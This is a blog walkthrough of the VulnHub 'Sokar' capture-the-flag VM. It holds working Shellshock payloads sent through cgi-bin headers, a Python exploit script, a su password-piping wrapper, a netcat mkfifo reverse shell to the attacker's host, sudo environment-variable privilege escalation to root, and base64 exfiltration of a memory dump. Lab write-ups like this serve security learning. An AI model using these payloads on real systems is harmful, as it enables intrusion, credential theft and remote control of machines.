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S(H)O(C)KAR - "Who's Apophis?" - shortcut run!

After some absence, I’ve returned to hacking the (virtual) boxes. I’ve chosen random 2 for a good start. Sokar was one of them. I’ve grabbed it from here.

I must say, in the beginning I didn’t think that this challenge will be so cool (it really keeps your brain busy and check true skills not skills in finding some clue hidden inside some Latin text hidden inside jpg and so on). It took me 3 days (not a whole 3 days xD) to crack this one, and I’m glad I found it.

Ok let’s play!

Day I

As always, first things first. Let’s find our target:

# netdiscover -i eth1 -r Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 08:00:27:b0:82:0a 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:00:44:e4 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:f2:40:db 01 060 CADMUS COMPUTER SYSTEMS

Target’s IP is: The other ones are IP of my host system and DHCP server. Next thing, port scan:

# nmap -sV -A -n -p1-65535   Starting Nmap 6.47 ( ) at 2015-02-07 05:32 CET Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 0.49% done Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 2.77% done; ETC: 05:55 (0:22:14 remaining) Stats: 0:13:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 66.11% done; ETC: 05:52 (0:06:49 remaining) Nmap scan report for Host is up (0.00039s latency). Not shown: 65534 filtered ports PORT    STATE SERVICE VERSION 591/tcp open  http    Apache httpd 2.2.15 ((CentOS)) | http-methods: Potentially risky methods: TRACE |_See |_http-title: System Stats MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop   TRACEROUTE HOP RTT     ADDRESS 1   0.39 ms   OS and Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 858.28 seconds

So one open port: 591, with Apache on the other side, rest reported as filtered. Damn… there’s high possibility there’s a firewall running there. I’ve opened my browser and here’s what I’ve got:

Ok, going through source code shows me that there’s cgi-bin script running. I’ve started Dirbuster to check for any other things hosted but nothing interesting had been found. I’ve tried to look here and there, scanning udp, looking for vulns in Apache used on server…nothing. It was getting late so I decided to leave the challenge… end of day 1.

Day II

I decided to look on this challenge differently… why look for something new… let’s stick with what I’ve already found. There’s a cgi script running, so probably that’s where I should look for a way in. I’ve asked google about: “cgi-bin vulnerabilities” and here’s what I saw:

Shellshock! That’s something… heard about it, read about it, but never tried to use it. Here’s what they suggested as PoC:

# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

I’ve changed IP and path to cgi and executed it. Voila:

# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" --2015-02-09 10:00:33-- Łączenie się z połączono. Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK Długość: nieznana [text/plain] Zapis do: `cat'       [ <=>                                        ] 986         --.-K/s   w  0s       2015-02-09 10:00:33 (10,9 MB/s) - zapisano `cat' [986]   # cat cat   root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin bynarr:x:500:501::/home/bynarr:/bin/bash apache:x:48:48:Apache:/var/www:/sbin/nologin apophis:x:501:502::/home/apophis:/bin/bash

So now I was inside :) I started looking here and there, what’s inside different folders, what possibilities gives me my current access level. Using wget all the time was not an option so I’ve grabbed and changed Python script to help me out:

# CVE-2014-6271 cgi-bin reverse shell
# Original:

import httplib,urllib,sys
if (len(sys.argv)<3):
  print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
  print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { test;};echo \"Content-type: text/plain\"; echo; echo; " + sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded","test":reverse_shell }
res = conn.getresponse()
print res.status, res.reason
data =
print data

I’ve tried to create some reverse shell but unfortunately firewall blocked all my attempts. I found interesting script in one of user’s home for creating memory dump of the machine. I’ll try using that later. Time passed and I still didn’t have anything interesting…so I moved to “/var/mail” as that’s a place where sometimes you can find some useful info. And I found something, a mail to one of the users:

# python /cgi-bin/cat "/bin/ls -la /var/mail/" 200 OK   total 12 drwxrwxr-x. 2 root    mail 4096 Dec 30 21:09 . drwxr-xr-x. 8 root    root 4096 Nov 12 13:29 .. -rw-rw----  1 apophis mail    0 Dec 30 19:20 apophis -rw-rw-r--. 1 bynarr  mail  551 Dec 30 21:09 bynarr   # python /cgi-bin/cat "/bin/cat /var/mail/bynarr" 200 OK   Return-Path: <root@sokar> Delivered-To: bynarr@localhost Received:  from root by localhost To: <bynarr@sokar> Date: Thu, 13 Nov 2014 22:04:31 +0100 Subject: Welcome   Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team. A user account has been setup for you.   UID 500 (bynarr) GID 500 (bynarr)     501 (forensic)   Password 'fruity'.  Please change this ASAP. Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.   All the best in your new role!     -Sokar-

User pass (probably not changed) and info about an open port, I couldn’t ask for more :) I’ve tried pushing shell through that port but without success. I’ve checked google…there’s a way to create user specific rules in iptables…good to know!

Now I need a way to login as bynarr… My current access didn’t give me a possibility to su to another user. I started searching for some clues… oh I’ve searched a lot. Here’s my discovery (I’m sorry but I can’t remember where I found that):

# (sleep 1; echo test2.,) | python -c "import pty; pty.spawn(['/bin/su','test2','-c','whoami']);"

This sends user password to su spawned by python. Quick test on my local machine and it works great!  But how can I run it inside target system? There are quotation marks and quotes… I couldn’t  use it in my script… I had to find anotherway… but that’s a task for the next day…


I woke up in the morning with an idea in my head… let’s create script inside target looking like:

# cat cmdx #/bin/bash (sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"

I can execute something like that with my python script, but how will I create that script inside target with my current access? After a while I’ve decided to try using base64.

# base64 cmdx IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0 eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo=

My first try was looking like that:

# python /cgi-bin/cat "/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d > /tmp/su_logger" 200 OK   # python /cgi-bin/cat "/bin/ls -la /tmp/"200 OK   total 16 drwxrwxrwt.  3 root   root   4096 Feb  9 09:45 . dr-xr-xr-x. 22 root   root   4096 Feb  9 08:34 .. drwxrwxrwt   2 root   root   4096 Feb  9 08:34 .ICE-unix -rw-rw-r--   1 bynarr bynarr 1349 Feb  9 09:45 stats -rw-r--r--   1 apache apache    0 Feb  9 09:45 su_logger

This doesn’t look good… for some reason this didn’t work as I hoped it would. My bad… I forgot that I need bash for pipe and stuff, let’s update my command:

# python /cgi-bin/cat "/bin/bash -c '/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d > /tmp/su_logger'" 200 OK     # python /cgi-bin/cat "/bin/ls -la /tmp/" 200 OK   total 20 drwxrwxrwt.  3 root   root   4096 Feb  9 09:45 . dr-xr-xr-x. 22 root   root   4096 Feb  9 08:34 .. drwxrwxrwt   2 root   root   4096 Feb  9 08:34 .ICE-unix -rw-rw-r--   1 bynarr bynarr 1527 Feb  9 09:46 stats -rw-r--r--   1 apache apache  104 Feb  9 09:46 su_logger   # python /cgi-bin/cat "/bin/cat /tmp/su_logger" 200 OK   #!/bin/bash (sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"

I’ve made it executable:

# python /cgi-bin/cat "/bin/chmod +x /tmp/su_logger"

and tried it out:

# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"whoami\"'" 200 OK     Password: bynarr

Bullseye! You can call me bynarr starting from now. It’s good that there is always someone who doesn’t change their password. You can believe it or not but with access through that script I’ve managed to get memory dump using lime script inside /home/bynarr and download it. If you are interested, how I’ve done that, you will find all details at the end of this post.

Inside mail to bynarr was also info about an open port. Let’s try it…on my local machine I started netcat:

# nc -vv -l -p 51242 listening on [any] 51242 ...

and invoked my python script:

# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"/bin/rm /tmp/f; /usr/bin/mkfifo /tmp/f; /bin/cat /tmp/f | /bin/sh -i 2>&1 | nc 51242 > /tmp/f &\" 2>&1'" 200 OK

Let’s go back to netcat:

# nc -vv -l -p 51242 listening on [any] 51242 ... inverse host lookup failed: Unknown server error : Connection timed out connect to [] from (UNKNOWN) [] 50696 sh: no job control in this shell sh-4.1$ whoami whoami bynarr sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash");' python -c 'import pty;pty.spawn("/bin/bash");' [bynarr@sokar cgi-bin]$

Immediately I spawned shell with python (I will need it). I had memory dump already so I didn’t need to create another one, cudaHashcat (for hashes found inside dump) was still downloading, so I’ve decided to look around and see what else I can do with my new, fresh shell. I googled around for “shellshock and sudo”. There was question about shellshock and sudo on Stack Overflow. They tried to do something like that:

# [bynarr@sokar cgi-bin]$ sudo -l sudo -l Matching Defaults entries for bynarr on this host:     !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS     DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1     PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE     LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY     LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL     LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",     secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User bynarr may run the following commands on this host:     (ALL) NOPASSWD: /home/bynarr/lime Result: [bynarr@sokar cgi-bin]$ export MAIL="() { :;} ; echo busted" export MAIL="() { :;} ; echo busted" [bynarr@sokar cgi-bin]$ sudo /home/bynarr/lime sudo /home/bynarr/lime ========================== Linux Memory Extractorator ========================== LKM, add or remove? > q q Invalid input, burn in the fires of Netu!

No busted visible…damn it. As my Internet was damn slow and I still didn’t have newest cudaHashcat, I’ve decided to read sudo manual. Here’s what interested me:

sudo [-AbEHnPS] [-C fd] [-g group name|#gid] [-p prompt] [-r role] [-t type] [-u user name|#uid] [VAR=value] [-i | -s] [command]

Hmmm…[VAR=value] looks promising. Let’s try it:

# [bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime busted <- check this out!!! ========================== Linux Memory Extractorator ========================== LKM, add or remove? > q q Invalid input, burn in the fires of Netu! [bynarr@sokar cgi-bin]$

I must say…I was happy like a small boy who just got his birthday present. Let’s finish this out!

# [bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime [root@sokar cgi-bin]# whoami whoami root [root@sokar cgi-bin]# ls -la /root ls -la /root total 36 dr-xr-x---.  2 root root 4096 Jan 15 21:14 . dr-xr-xr-x. 22 root root 4096 Feb  9 08:34 .. -rw-------.  1 root root    0 Jan 27 19:30 .bash_history -rw-r--r--.  1 root root   18 May 20  2009 .bash_logout -rw-r--r--.  1 root root  176 May 20  2009 .bash_profile -rw-r--r--.  1 root root  176 Sep 23  2004 .bashrc -rw-r--r--   1 root root  678 Jan  2 17:21 build.c -rw-r--r--.  1 root root  100 Sep 23  2004 .cshrc -rw-r--r--   1 root root  837 Jan 15 21:14 flag -rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc

Before typing the last command I’ve just stopped for a minute, just to enjoy the view.

[root@sokar cgi-bin]# cat /root/flag cat /root/flag                 0   0                 |   |             ____|___|____          0  |~ ~ ~ ~ ~ ~|   0          |  |   Happy   |   |       ___|__|___________|___|__       |/\/\/\/\/\/\/\/\/\/\/\/|   0   |    B i r t h d a y    |   0   |   |/\/\/\/\/\/\/\/\/\/\/\/|   |  _|___|_______________________|___|__ |/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/| |                                   | |     V  u  l  n  H  u  b   ! !     | | ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ | |___________________________________| ===================================== | Congratulations on beating Sokar! | |                                   | |  Massive shoutout to g0tmi1k and  | | the entire community which makes  | |         VulnHub possible!         | |                                   | |    rasta_mouse (@_RastaMouse)     | =====================================

Done! Challenge complete ^^ That’s all folks…

Ok not all…I promised I’ll show how I took the memory dump.  I didn’t have interactive shell access and I needed to pass “add” to script in order to create dump. You can cat file with “add” inside to script and it’ll work: </div>

# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"echo add > /tmp/add\"'" 200 OK Password: # python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"cat /tmp/add\"'"200 OK Password: add # python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"sudo /home/bynarr/lime < /tmp/add\"'" 200 OK Password: ========================== Linux Memory Extractorator ========================== LKM, add or remove? > # python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"ls -la /tmp\"'"200 OK Password: total 261720 drwxrwxrwt.  3 root   root        4096 Feb  9 10:25 . dr-xr-xr-x. 22 root   root        4096 Feb  9 08:34 .. drwxrwxrwt   2 root   root        4096 Feb  9 08:34 .ICE-unix -rw-r--r--   1 bynarr bynarr         4 Feb  9 10:24 add prw-r--r--   1 bynarr bynarr         0 Feb  9 10:22 f -r--r--r--   1 root   root   267971584 Feb  9 10:25 ram -rw-rw-r--   1 bynarr bynarr      1705 Feb  9 10:25 stats -rwxr-xr-x   1 apache apache       104 Feb  9 09:46 su_logger

As you can see there’s a new file named ram containing memory dump. Now… how to g et it out without open ports (I forgot about 51242 :) ? Base64 was helpful as always:

# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"base64 /tmp/ram\"'" > tmp_ram # ls -la tmp_ram -rw-r--r-- 1 root root 366697981 lut  9 11:30 tmp_ram

It’s still base64 and there’s another problem, during transport newline chars have been broken and typing base64 -d tmp_ram will give you an error. Good there’s dos2unix. After fixing, file will be decoded properly and you will have a piece of memory to look inside. I executed strings on it and found hashes (from /etc/shadow) for root, apophis and bynarr (that’s why I needed cudaHashcat). I also looked for firewall rules inside that dump (I still didn’t remember about that open port from mail) and that’s where I found open port for my reverse shell :)


Written on February 23, 2015